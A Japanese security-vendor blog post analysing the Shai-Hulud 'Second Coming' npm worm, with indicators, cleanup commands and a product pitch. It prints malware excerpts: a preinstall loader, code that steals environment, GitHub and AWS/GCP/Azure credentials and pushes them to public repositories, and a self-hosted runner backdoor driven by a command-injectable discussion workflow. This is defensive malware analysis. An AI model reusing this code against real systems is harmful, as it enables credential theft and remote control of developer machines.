ワームにやわらかなクラウドのbunを与える:Shai-Huludの再来

Shai-Huludマルウェアの新たな亜種、認証情報の窃取手法、そして現代の開発パイプラインを標的としたGitHub Actionsの悪用について詳しく解説します。

Bleon Proko

Bleon Proko

Taylor Smith

Taylor Smith

2025年11月24日、Aikido Securityは、現在Shai-Huludと呼ばれている脅威アクターによる新たな悪意あるパッケージ群に関する記事を公開しました。この悪意あるコードは、自身が存在するローカルホストから認証情報を収集しようとします。その後、取得した認証情報を使用して、ユーザーの認証情報マネージャーからさらに別の認証情報を収集しようとします。収集されたすべての出力は公開GitHubリポジトリに送信され、それらのリポジトリには「Sha1-Hulud: The Second Coming」という説明が付けられています。

最初に確認された標的はZapierで、その後、ENS、AsyncAPI、PostHog、Postman、その他のベンダーへの影響も確認されました。Aikidoの報告によると、全体で492個のパッケージが侵害され、月間ダウンロード数は合計1億3,200万件にのぼります。

マルウェアの初期化

このマルウェアは、ライブラリのリポジトリ内に2つの部分として組み込まれています。1つ目はマルウェアのローダーで、setup_bun.js内に保存されています。この悪意あるコードは、ライブラリが読み込まれた際にロードされ、実際の悪意あるコードを含む高度に難読化されたスクリプトであるbun_environment.jsを実行します。

悪意あるスクリプトをライブラリに組み込むため、このスクリプトはpackage.jsonファイル内にpre-installスクリプトとして含められていました。これにより、ライブラリに対する処理が行われる前に、悪意あるコードが実行されます。

{
  "name": "asyncapi-utility",
  "version": "1.0.0",
  "bin": { "asyncapi-utility": "setup_bun.js" },
  "scripts": {
    "preinstall": "node setup_bun.js"
  },
  "license": "MIT"
}

このマルウェアは、悪意あるコードの実行にbunを使用しているようです。そのため、JSスクリプトには_bunという接尾辞が付いています。setup_bun.jsはbunがインストールされているかを確認し、インストールされていない場合は、bun.shで提供されているインストールスクリプトを使用してこのツールをインストールします。

let bunExecutable;

  if (isBunOnPath()) {
    // Use bun from PATH
    bunExecutable = 'bun';
  } else {
    // Check if we have a locally downloaded bun
    const localBunDir = path.join(__dirname, 'bun-dist');
    const possiblePaths = [
      path.join(localBunDir, 'bun', 'bun'),
      path.join(localBunDir, 'bun', 'bun.exe'),
      path.join(localBunDir, 'bun.exe'),
      path.join(localBunDir, 'bun')
    ];

    const existingBun = possiblePaths.find(p => fs.existsSync(p));

    if (existingBun) {
      bunExecutable = existingBun;
    } else {
      // Download and setup bun
      bunExecutable = await downloadAndSetupBun();
    }
  }

その後、bunがbun_environment.jsを実行し、すべての悪意あるタスクが実行されます。

const environmentScript = path.join(__dirname, 'bun_environment.js');
  if (fs.existsSync(environmentScript)) {
    runExecutable(bunExecutable, [environmentScript]);
  } else {
    process.exit(0);
  }

悪意あるbun

bun_environment.jsは、約10MBに及ぶ非常に大きなJSコードのファイルです。このコードは高度に難読化されており、変数名や関数名などのコード要素がHEX値に置き換えられているようです。また、このコードには、オブジェクト名をHEXから人間が読める形式に解決する関数(function a0_0x4cc3)も含まれています。

var stringLookup = decodeString;

function decodeString(index) { // function a0_0x4cc3
    var arr = stringArrayGenerator();
    decodeString = function(idx) {
        idx = idx - 0x0;
        var value = arr[idx];
        return value;
    };
    return decodeString(index);
}

この関数は、a0_0x1bc8関数内の文字列配列_0x259634を参照します。この配列には、指定されたHEX値に対応する文字列値が含まれています。その値の中には、流出先リポジトリの説明である「Sha1-Hulud: The Second Coming」も含まれています。

function a0_0x1bc8() {
    var _0x259634 = ['res', 'wXWSe', 'mVuzm', 'sendRequest', 'decorate', 'WPqdu', 'createRepo', 'CZnOV', 'RcRqY', 'shrNonce', 'xgbhH', 'oneofDecl', '\\'. Acceptable values: ', 'undeleteFolder response %j', 'mAamk', 
--snip--
'GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions', 'decimalPlaces', '{region}', 'getMaxAttempts', 'Visual Studio Code Authentication is not available. Ensure you have have Azure Resources Extension installed in VS Code, signed into Azure via VS Code, installed the @azure/identity-vscode package, and properly configured the extension.', 'DELETE /orgs/{org}/packages/{package_type}/{package_name}', 'UrEnN', 'KHPKr', 'ETSpv', 'Sha1-Hulud: The Second Coming.', 'MSsLt', 'China (Beijing)', 'ovSfH', 'icKRM', 'pickSubchannel', 'Cancelled by parent call'];
    a0_0x1bc8 = function () {
        return _0x259634;
    }

この関数を使用することで、スクリプト内で難読化されている文字列を解決できます。

a0_0x4cc3(0x2840) → "secretmanager.googleapis.com/Secret"
a0_0x4cc3(0xe8d)  → "<https://www.googleapis.com/auth/cloud-platform>"

コードの最後の部分は、コードのメイン関数として動作します。まず、このコードがCI/CD環境で実行されているかどうかを検出し、それに応じてタスクを実行します。

async function jy1() {
    var _0x6211fe = a0_0x3f79ba;
    if (process['env']['CI'] || process['env']['CONTINUOUS_INTEGRATION'] || process['env']['GITHUB_ACTIONS'] || process['env']['GITLAB_CI'] || process['env']['CIRCLECI'])
        await aL0();
    else {
        if (process['env']['POSTINSTALL_BG'] !== '1') {
            if (_0x6211fe(0x4e2e) !== _0x6211fe(0x4e2e))
                return this['_gaxGrpc']['createStub']('service', _0xb9a24b), [_0x1307f5, _0x3e04b8, _0x47daff];
            else {
                let _0x4ff1f9 = process['execPath'];
                if (process['argv'][0x1]) {
                    if (_0x6211fe(0x492f) !== _0x6211fe(0x492f)) {
                        if (_0x5c2e2c(_0x310c70, 0x0, _0x2f8dbd), _0x44df93 == null)
                            _0x1beb91 = _0x2f466f;
                        else
                            _0x5dd733(_0x2a58f0, 0x0, 0x8);
                        return _0x12b958(new _0x76e273(_0x17bc6d), _0x413db1 + _0x4d0423['e'] + 0x1, _0x2a4ded);
                    } else {
                        Bun['spawn']([_0x4ff1f9, process['argv'][0x1]], {
                            'env': {
                                ...process['env'],
                                'POSTINSTALL_BG': '1'
                            }
                        })['unref']();
                        return;
                    }
                }
            }
        }
        try {
            await aL0();
        } catch (_0x5d9066) {
            process['exit'](0x0);
        }
    }
}

jy1()['catch'](_0x479bd => {
    process['exit'](0x0);
});
  • JSON _0x4b3fc6で定義されたSecrets Managerの認証情報を窃取する
  • 環境変数から認証情報を窃取する
async function aL0()
  let environmentData = {
    environment: process.env
  };
  
  // System information with hostname and user
  let systemData = {
    system: {
      platform: systemInfo.platform,
      architecture: systemInfo.architecture,
      platformDetailed: systemInfo.platformRaw,
      architectureDetailed: systemInfo.archRaw,
      hostname: os.hostname(),
      os_user: os.userInfo()
    },
    modules: {
      github: {
        authenticated: github.isAuthenticated(),
        token: github.getToken(),
        username: username
      }
    }
  };
  
  // Upload to GitHub
  let saveEnv = github.saveContents(
    'environment.json', 
    JSON.stringify(environmentData), 
    'Add file'
  );
}
  • TruffleHogをダウンロードし、侵害されたマシン上で実行して保存済みの認証情報を検出する
async ['getLatestRelease']() {
    var _0x3e5310 = a0_0x3f79ba;
    let _0x2b4de5 = await fetch('<https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest>');
    if (!_0x2b4de5['ok'])
        throw Error('Failed\\x20to\\x20fetch\\x20latest\\x20release:\\x20' + _0x2b4de5['status']);
    return _0x2b4de5['json']();
}

['selectAsset'](_0x285891) {
    var _0x167fde = a0_0x3f79ba;
    let _0x393e83 = a0_0x44bdb7(),
        _0x451906 = this['normalizeArch'](a0_0x51195d()),
        _0x4797e8 = [];
    
    if (_0x393e83 === 'win32')
        _0x451906['forEach'](_0x40c564 => _0x4797e8['push'](_0x40c564 + '.exe')),
        _0x4797e8['push']('.exe', 'windows');
    else {
        if (_0x393e83 === 'darwin')
            _0x451906['forEach'](_0x1b7a2d => _0x4797e8['push'](_0x1b7a2d + '.darwin', _0x1b7a2d + '.macos')),
            _0x4797e8['push']('darwin', 'macos');
        else
            _0x451906['forEach'](_0x299ce6 => _0x4797e8['push'](_0x299ce6 + '.linux')),
            _0x4797e8['push']('linux');
    }
    
    for (let _0x48b273 of _0x4797e8) {
        let _0x56c72a = _0x285891['find'](_0x3ce643 => _0x3ce643['name']['toLowerCase']()['includes'](_0x48b273['toLowerCase']()));
        if (_0x56c72a)
            return _0x56c72a;
    }
    
    return _0x285891['find'](_0x130168 => _0x130168['name']['toLowerCase']()['includes']('trufflehog')) ?? null;
}

['normalizeArch'](_0x5352e1) {
    var _0x3bc23e = a0_0x3f79ba;
    if (_0x5352e1 === 'x64')
        return ['amd64', 'x86_64', 'x64'];
    if (_0x5352e1 === 'arm64')
        return ['arm64', 'aarch64'];
    return [_0x5352e1];
}

async ['downloadFile'](_0x47dec5, _0x2dc003) {
    var _0x1de01c = a0_0x3f79ba;
    let _0x108997 = await fetch(_0x47dec5);
    if (!_0x108997['ok'])
        throw Error('Failed\\x20to\\x20download:\\x20' + _0x108997['status']);
    let _0x5c8e9f = a0_0x5a8722(_0x2dc003);
    if (_0x108997['body'])
        await qy1(_0x108997['body'], _0x5c8e9f);
    else
        throw Error('Response\\x20body\\x20is\\x20null');
}

async ['extractArchive'](_0x562e2f) {
    var _0x2066b4 = a0_0x3f79ba;
    let _0x5859a7 = a0_0x1acdee(_0x562e2f)['toLowerCase'](),
        _0x16ec5a = a0_0x53fe15(this['config']['cacheDir'], 'extract');
    
    if (await a0_0x2cc727['mkdir'](_0x16ec5a, {'recursive': !0x0}),
    _0x5859a7['endsWith']('.zip'))
        await this['runCommand']('unzip', ['-o', _0x562e2f, '-d', _0x16ec5a]);
    else {
        if (_0x5859a7['endsWith']('.tar.gz') || _0x5859a7['endsWith']('.tgz'))
            await this['runCommand']('tar', ['-xzf', _0x562e2f, '-C', _0x16ec5a]);
        else {
            let _0x8ab364 = 'trufflehog' + (a0_0x44bdb7() === 'win32' ? '.exe' : ''),
                _0x5f035f = a0_0x53fe15(this['config']['cacheDir'], _0x8ab364);
            return await a0_0x2cc727['copyFile'](_0x562e2f, _0x5f035f),
            await a0_0x2cc727['chmod'](_0x5f035f, 0x1ed),
            _0x5f035f;
        }
    }
    
    let _0x186a54 = (await a0_0x2cc727['readdir'](_0x16ec5a))['find'](_0x411141 => _0x411141['toLowerCase']()['includes']('trufflehog'));
    if (!_0x186a54)
        throw Error('Could\\x20not\\x20find\\x20trufflehog\\x20binary');
    
    let _0x17ab93 = a0_0x53fe15(_0x16ec5a, _0x186a54),
        _0x1c4771 = 'trufflehog' + (a0_0x44bdb7() === 'win32' ? '.exe' : ''),
        _0x2720b9 = a0_0x53fe15(this['config']['cacheDir'], _0x1c4771);
    
    return await a0_0x2cc727['copyFile'](_0x17ab93, _0x2720b9),
    await a0_0x2cc727['chmod'](_0x2720b9, 0x1ed),
    await a0_0x2cc727['rm'](_0x16ec5a, {'recursive': !0x0}),
    _0x2720b9;
}

async ['runCommand'](_0x54eac0, _0x5d80b3) {
    var _0x5a61c9 = a0_0x3f79ba;
    let _0x3ebe81 = Bun['spawn']([_0x54eac0, ..._0x5d80b3], {
        'stdout': 'pipe',
        'stderr': 'pipe'
    });
    if (await _0x3ebe81['exited'],
    _0x3ebe81['exitCode'] !== 0x0)
        throw Error('Command\\x20failed:\\x20' + _0x54eac0 + '\\x20' + _0x5d80b3['join']('\\x20') + '\\x20(exit\\x20code:\\x20' + _0x3ebe81['exitCode'] + ')');
}
  • GitHub Actions Artifactsを検索し、results.jsonファイルに出力する
for(let _0x18af5b of _0x1f9277)try{let _0x33db57='<https://api.github.com/repos/'+_0x159ad4+'/'+_0x159bba+_0x2ea697(0x173e)+_0x18af5b['id>']+_0x2ea697(0x3f5d),_0x2f4d22=(await a0_0x25a52d(_0x33db57,{'method':_0x2ea697(0x514a),'headers':{'Accept':_0x2ea697(0x2856),'Authorization':_0x2ea697(0x2e5b)+this[_0x2ea697(0x1f1c)]},'redirect':_0x2ea697(0x274a)}))[_0x2ea697(0x3a9a)]['get']('location');if(!_0x2f4d22)continue;let _0x11129d=await a0_0x25a52d(_0x2f4d22,{'method':_0x2ea697(0x514a),'headers':{'Accept':_0x2ea697(0x3352)}});if(!_0x11129d['ok'])continue;let _0x4eb62f=await _0x11129d['arrayBuffer'](),_0x48955e=Buffer[_0x2ea697(0x3319)](new Uint8Array(_0x4eb62f)),_0x30b148=new tG0[(_0x2ea697(0x127e))](_0x48955e)[_0x2ea697(0x166f)](_0x2ea697(0x2c8b));if(!_0x30b148)continue;let _0x9becf=_0x30b148[_0x2ea697(0x2efd)](),_0x26502f=JSON[_0x2ea697(0x301b)](_0x9becf[_0x2ea697(0x4b2e)](_0x2ea697(0x348)));try{await this[_0x2ea697(0x1868)][_0x2ea697(0x12cd)](_0x2ea697(0x5951),{'owner':_0x159ad4,'repo':_0x159bba,'run_id':_0x15f9e1});}catch{}yield _0x26502f;}catch{if('SKGRz'!==_0x2ea697(0x30a2))continue;else{let _0x4aaf14=_0x59d5f1[_0x2ea697(0xab7)](),_0x44f257=_0xf1d905===_0x4aaf14?_0x1093f4:_0x4aaf14+'.'+_0x4c0238;if(_0x168ecf[_0x2ea697(0x5dfb)]['hasOwnProperty'][_0x2ea697(0x5faa)](_0x5ee97c,_0x44f257))return _0x1a441b[_0x44f257];else{for(let [_0x3833c7,_0xd40069]of _0x651923[_0x2ea697(0x33e4)](_0x2b92ed))if(_0x3833c7[_0x2ea697(0x4561)](_0x4aaf14+'.')&&_0xd40069[_0x2ea697(0x2d3c)][_0x2ea697(0x1eb)]===_0x4aaf14&&_0xd40069[_0x2ea697(0x2d3c)][_0x2ea697(0xfe6)])_0x1b3f34[_0x2ea697(0x2fc7)](_0xd40069[_0x2ea697(0x2d3c)]['className']);}}}break;}try{await this[_0x2ea697(0x1868)]['request'](_0x2ea697(0xb26),{'owner':_0x159ad4,'repo':_0x159bba,'branch':_0x5264a1});}catch(_0x48c1fc){if(_0x2ea697(0x5c33)===_0x2ea697(0x4f34)){if(this[_0x2ea697(0x4966)]()){for(let [_0x87c96b,_0x3b8a8d]of this[_0x2ea697(0x511)]())if(_0x3b8a8d[_0x2ea697(0x2680)]()&&_0x3b8a8d[_0x2ea697(0x4966)]())return _0x87c96b;}return'';}else console[_0x2ea697(0x4a26)](_0x2ea697(0x118c));}}catch(_0x8f6173){if('ccFxu'===_0x2ea697(0x4d77)){console[_0x2ea697(0x4a26)](_0x2ea697(0x2fa4));continue;}else return this[_0x2ea697(0x48d4)](_0x5b088a,_0x244b9f)[_0x2ea697(0x36dc)]();}}}
  • AWS、Azure、GCPの認証情報をダウンロードする:
_0xa50f9e = {
    'aws': {
        'secrets': await _0x511a7b['getSecrets']()
    },
    'gcp': {
        'secrets': await _0x2efcec['getSecrets']()
    },
    'azure': {
        'secrets': await _0x390843['getSecrets']()
    }
},
_0x5801a8 = {
    'environment': process['env']
},
_0x1c3489 = _0x43e355['saveContents']('environment.json', JSON['stringify'](_0x5801a8), 'Add\\x20file'),
_0x383025 = _0x43e355['saveContents']('cloudSecrets.json', JSON['stringify'](_0xa50f9e), 'Add\\x20file'),
_0x443533 = _0x43e355['saveContents']('systemInfo.json', JSON['stringify'](_0x594cb1), 'Add\\x20file'),
_0x5a8131 = await El(_0x587238);
  • 後でsystemInfo.jsonに保存されるシステム情報を取得する
function $y1() {
    var _0x4416fa = a0_0x3f79ba;
    let _0x45a0cb = a0_0x5baa9a['platform'](),
        _0x118ebf = a0_0x5baa9a['arch'](),
        _0x2d7e77;
    
    if (_0x45a0cb === 'win32')
        _0x2d7e77 = 'windows';
    else {
        if (_0x45a0cb === 'linux')
            _0x2d7e77 = 'linux';
        else {
            if (_0x45a0cb === 'darwin')
                _0x2d7e77 = 'darwin';
            else
                _0x2d7e77 = 'linux';
        }
    }
    
    let _0x3ad966;
    if (_0x118ebf === 'ia32')
        _0x3ad966 = 'x86';
    else {
        if (_0x118ebf === 'x64')
            _0x3ad966 = 'x64';
        else {
            if (_0x118ebf === 'arm')
                _0x3ad966 = 'arm';
            else {
                if (_0x118ebf === 'arm64')
                    _0x3ad966 = 'arm64';
                else
                    _0x3ad966 = 'x64';
            }
        }
    }
    
    return {
        'platform': _0x2d7e77,
        'architecture': _0x3ad966,
        'platformRaw': _0x45a0cb,
        'archRaw': _0x118ebf
    };
}
let saveSystem = github.saveContents(
    'systemInfo.json', 
    JSON.stringify(systemData), 
    'Add file'
  );

要求されたすべてのデータは、以下のファイルに保存されます。

  • cloud.json:クラウドプロバイダーの認証情報(AWS、Azure、GCP)
  • contents.json:リポジトリの内容とソースコード
  • environment.json:環境変数とシステム情報
  • truffleSecrets.json:TruffleHogスキャナーによって検出されたシークレット
  • actionsSecrets.json:GitHub Actionsのシークレット
  • results.json:GitHub Artifacts
  • systemInfo.json:現在のシステムに関する情報

この(GitHub)Actionに関するDiscussion

脅威アクターが追加している最後のマルウェア要素は、悪意あるGitHub Actionです。このActionは、Discussionが作成されるとすぐに、標的マシン上でコマンドを実行します。このマルウェア要素は、discussion.yamlファイルに保存されています。GitHub Actionsでは直接的な変数補間が行われるため、runフィールド内にデータが指定されている場合、そのデータはコマンドとみなされます。これは、この記事で説明されているとおりです。

name: Discussion Create
on:
  discussion:
jobs:
  process:
    env:
      RUNNER_TRACKING_ID: 0
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v5
      - name: Handle Discussion
        run: echo ${{ github.event.discussion.body }}

攻撃者が行う必要があるのは、実行したい悪意あるコマンドを含むGitHub Discussionをリポジトリ上に作成することだけです。すると、そのコマンドが侵害されたマシン上で実行されます。このActionにはruns-on: self-hostedフィールドが含まれているため、コマンドはライブラリがインストールされているマシン上で実行されます。

悪意あるGitHub Actionを通じて侵害されたマシンを管理できるようにするため、このスクリプトは被害者のマシン上にGitHub Actions runnerをダウンロードして設定します。runnerはSHA1HULUDという名前で、マシンのOSに応じて定義されたパスに配置されます。このAction runnerはDiscussion GitHub Actionを実行し、侵害された標的を管理します。

  • Linux:$HOME/.dev-env/
  • Windows:%USERPROFILE%\.dev-env\
  • macOS:$HOME/.dev-env/
async [a0_0x3f79ba(0x6048)](repoName, description = a0_0x3f79ba(0x603b), isPrivate = !0x1) {
    var str = a0_0x3f79ba;
    
    if (!repoName) return null;
    
    try {
        let repoData = (await this['octokit'][str(0x3819)][str(0x6f9)][str(0x212c)]({
            'name': repoName,
            'description': description,
            'private': isPrivate,
            'auto_init': !0x1,
            'has_issues': !0x1,
            'has_discussions': !0x0,
            'has_projects': !0x1,
            'has_wiki': !0x1
        }))[str(0x4dc2)],
        ownerLogin = repoData[str(0x1904)]?.[str(0x4a12)],
        repoNameResponse = repoData[str(0x71b)];
        
        if (!ownerLogin || !repoNameResponse) return null;

if (tokenResponse[str(0x3d2a)] == 0xc9) {
  if (str(0x4a29) === str(0x4a29)) {
      let registrationToken = tokenResponse['data'][str(0x1f1c)];
      
      if (a0_0x2d6a77[str(0x21b8)]() === str(0xdc7))
          await Bun['$']`mkdir -p $HOME/.dev-env/`,
          await Bun['$']`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L <https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`[str(0x5a68)]>(a0_0x2d6a77['homedir'] + str(0x2d3))['quiet'](),
          await Bun['$']`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77[str(0x300b)] + str(0x2d3)),
          await Bun['$']`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url <https://github.com/${ownerLogin}/${repoNameResponse}> --unattended --token ${registrationToken} --name "SHA1HULUD"`[str(0x5a68)](a0_0x2d6a77[str(0x300b)] + str(0x2d3))[str(0x5f38)](),
          await Bun['$']`rm actions-runner-linux-x64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77[str(0x300b)] + str(0x2d3)),
          Bun[str(0x3ae4)]([str(0x2438), '-c', str(0x4e5e)])[str(0x5366)]();
      else {
          if (a0_0x2d6a77[str(0x21b8)]() === str(0x5691))
              await Bun['$']`powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri <https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-win-x64-2.330.0.zip> -OutFile actions-runner-win-x64-2.330.0.zip"`[str(0x5a68)](a0_0x2d6a77[str(0x300b)]()),
              await Bun['$']`powershell -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(\\"actions-runner-win-x64-2.330.0.zip\\", \\".\\")"`[str(0x5a68)](a0_0x2d6a77[str(0x300b)]()),
              await Bun['$']`./config.cmd --url <https://github.com/${ownerLogin}/${repoNameResponse}> --unattended --token ${registrationToken} --name "SHA1HULUD"`[str(0x5a68)](a0_0x2d6a77['homedir']())[str(0x5f38)](),
              Bun[str(0x3ae4)](['powershell', '-ExecutionPolicy', str(0x13cb), str(0x4378), str(0x1687)], {
                  'cwd': a0_0x2d6a77[str(0x300b)]()
              })[str(0x5366)]();
          else {
              if (a0_0x2d6a77['platform']() === str(0x2354))
                  await Bun['$']`mkdir -p $HOME/.dev-env/`,
                  await Bun['$']`curl -o actions-runner-osx-arm64-2.330.0.tar.gz -L <https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-osx-arm64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77[str(0x300b)>] + str(0x2d3))['quiet'](),
                  await Bun['$']`tar xzf ./actions-runner-osx-arm64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77[str(0x300b)] + str(0x2d3)),
                  await Bun['$']`./config.sh --url <https://github.com/${ownerLogin}/${repoNameResponse}> --unattended --token ${registrationToken} --name "SHA1HULUD"`['cwd'](a0_0x2d6a77['homedir'] + str(0x2d3))[str(0x5f38)](),
                  await Bun['$']`rm actions-runner-osx-arm64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77['homedir'] + str(0x2d3)),
                  Bun[str(0x3ae4)](['bash', '-c', 'cd\\x20$HOME/.dev-env\\x20&&\\x20nohup\\x20./run.sh\\x20&'])[str(0x5366)]();
          }
      }
      await this[str(0x1868)]['request'](str(0x51d6), {
          'owner': ownerLogin,
          'repo': repoNameResponse,
          'path': str(0x288),
          'message': 'Add\\x20Discusion',
          'content': Buffer[str(0x3319)](rZ1)['toString'](str(0x2a35)),
          'branch': 'main'
      });
  } else {
      this['state'] = str(0x5be6),
      callback(!0x1);
      return;
  }
}

データ流出

すべての情報が取得されると、マルウェアはリポジトリを作成します。

function tL0() {
  return Array.from({length: 18}, () => 
    Math.random().toString(36).substring(2, 3)
  ).join('');
}

if(github.isAuthenticated()) {
  await github.createRepo(tL0()); 
}

現在、このスクリプトによって侵害された認証情報を使用して作成されたリポジトリは23,000件以上あり、新しいリポジトリも継続的に出現しています。

Github repositories screen

攻撃を緩和するための次のステップ

侵害されたライブラリの所有者は、悪意あるバージョンとリリースを削除しており、悪意あるライブラリの削除を推奨しています。また、マルウェアの痕跡がないか、影響を受けた可能性のあるマシンを調査することも推奨されます。

  • setup_bun.js
  • bun_environment.js
  • cloud.json
  • contents.json
  • environment.json
  • truffleSecrets.json
  • discussion.yaml
  • formatter_*.yml

インストールされている可能性のある悪意あるライブラリと、それらを含むpackage.jsonファイルを検索し、該当するバージョンを削除してください。

grep -r "setup_bun.js" node_modules/*/package.json
grep -r "bun_environment.js" node_modules/*/package.json

npm list --depth=0

# *nix machines
rm -rf node_modules
rm -rf package-lock.json  # or yarn.lock
rm -rf ~/.npm  # Clear npm cache

# Windows Machines
rd /s /q node_modules
del package-lock.json

npm cache clean --force

システム全体で、SHA1HULUDの値またはGitHub Actionディレクトリである.dev-envを含むすべての項目を検索してください。

# *nix machines
find / -name "*SHA1HULUD*" 2>/dev/null
find / -name "run.sh" -path "*actions-runner*" 2>/dev/null

rm -rf $HOME/.dev-env/

# Windows Machines
Remove-Item -Recurse -Force $env:USERPROFILE\\.dev-env
Remove-Item -Recurse -Force $env:USERPROFILE\\actions-runner
Get-ChildItem -Path C:\\ -Recurse -Filter "*SHA1HULUD*" -ErrorAction SilentlyContinue | Remove-Item -Force

マルウェアに関連していると思われるプロセスはすべて停止し、調査する必要があります。

# *nix machines
ps aux | grep -i runner
ps aux | grep -i sha1hulud
sudo pkill -9 -f "run.sh"
sudo pkill -9 -f "Runner.Listener"
sudo pkill -9 -f "SHA1HULUD"

# Windows Machines
Get-Process | Where-Object {$_.ProcessName -like "*runner*"} | Stop-Process -Force
Get-Process | Where-Object {$_.ProcessName -like "*SHA1HULUD*"} | Stop-Process -Force
taskkill /IM Runner.Listener.exe /F
taskkill /IM Runner.Worker.exe /F

AWS、Azure、GCPのすべての認証情報、およびGitHub PATをリセットし、現在保有している認証情報によって実行されるアクションを監視してください。また、「Sha1-Hulud: The Second Coming」という説明を含むリポジトリをオンラインで検索することも推奨されます。そこに認証情報が含まれている可能性があります。

エクサフォースが対応を支援します

エクサフォースは、Shai-Huludや過去のNPM侵害のようなサプライチェーン攻撃に対して、エンドツーエンドの可視化と検出を提供します。GitHubからSBOMを直接取り込むことで、エクサフォースは顧客環境全体に存在する悪意ある、または想定外のパッケージバージョンを特定できます。お客様は、これらをデータエクスプローラーで視覚的に確認したり、エクサボット検索を活用して自然言語で問い合わせたりできます。

Exaforce thread finding page Exabot Search open
エクサボット検索では、侵害されたパッケージは見つかりませんでした。

エクサフォースは、依存関係のリスクも事前にフラグ付けできます。たとえば、新しすぎるために必要な審査期間をまだ経ていないパッケージを検出できます。これにより、信頼できないバージョンがアプリケーションに追加されるのを防ぎます。また、エクサフォースは既知の悪意あるパッケージバージョンも特定し、それらが攻撃ベクトルとなる前に削除できるようにします。

Exaforce enabled rules tab
新しすぎるパッケージや既知の悪意あるパッケージを検出する事前防御

エクサフォースは、不審なファイル、通常とは異なるGitHub Actionの作成、認証情報の悪用の兆候など、GitHub Actionsにおける異常なワークフロー動作も監視します。盗まれたシークレットがお客様の環境に対して使用された場合、当社の異常検出エンジンが不正な認証やリポジトリアクティビティをリアルタイムで強調表示します。

Exaforce workflows tab
完全に検索可能なワークフローのインベントリ

このマルウェアが出現した際、エクサフォースのMDRチームは直ちに、影響を受けたパッケージ、悪意あるGitHub Actions、顧客データが含まれる公開リポジトリがないか、すべての顧客環境を確認しました。複数のお客様が影響を受けたパッケージを参照していましたが、いずれも安全なバージョンに固定されていたため、侵害は回避されました。

結論

最近では、悪意あるパッケージが脅威アクターに好まれる手法になっているようです。その主な理由は、ワームのような挙動、大量のダウンロード数、そして開発者がそれらのライブラリに寄せる信頼にあります。そのため、ライブラリは監視される必要があり、危険な侵害手法となり得るため、個々のライブラリを脅威として考慮する必要があります。

この攻撃の標的になっていないこと、またはすでに制御下に置かれていることを願いつつ、潜在的な侵害がないか、環境とエンドポイントを監視することを推奨します。

関連記事

理想のSOCチーム。
24時間365日、お客様とともに稼働します。

お客様の環境を一元的かつリアルタイムに把握する4つのエクサボットが、検出、トリアージ、調査、対応をカバーします。プラットフォームを自社で運用することも、エクサフォースに運用を任せることもできます。